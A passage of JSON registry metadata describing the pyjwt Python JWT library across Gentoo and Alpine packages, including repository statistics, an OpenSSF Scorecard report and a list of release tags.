reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"repo_metadata_updated_at":"2026-05-29T04:00:36.280Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:gentoo/dev-python/pyjwt","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/gentoo/dev-python/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/gentoo/dev-python/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/gentoo/dev-python/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fpyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fpyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fpyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fpyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fpyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fpyjwt/codemeta","maintainers":[],"registry":{"name":"gentoo-portage","url":"https://packages.gentoo.org/","ecosystem":"gentoo","default":true,"packages_count":19339,"maintainers_count":0,"namespaces_count":174,"keywords_count":382,"github":"gentoo","metadata":{"snapshot_url":"https://distfiles.gentoo.org/snapshots/portage-latest.tar.xz","funded_packages_count":77},"icon_url":"https://github.com/gentoo.png","created_at":"2026-05-26T08:59:24.155Z","updated_at":"2026-06-10T05:04:01.738Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/namespaces"}},{"id":6194891,"name":"py3-jwt-cli","ecosystem":"alpine","description":"Python3 JSON Web Token implementation (CLI utility)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2021-04-05T18:18:29.000Z","latest_release_published_at":"2021-04-05T18:18:29.000Z","latest_release_number":"1.7.1-r4","last_synced_at":"2026-03-06T08:28:36.079Z","created_at":"2023-02-01T01:37:55.710Z","updated_at":"2026-05-29T04:00:36.287Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.14/community/x86_64/py3-jwt-cli","install_command":"apk add py3-jwt-cli","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/r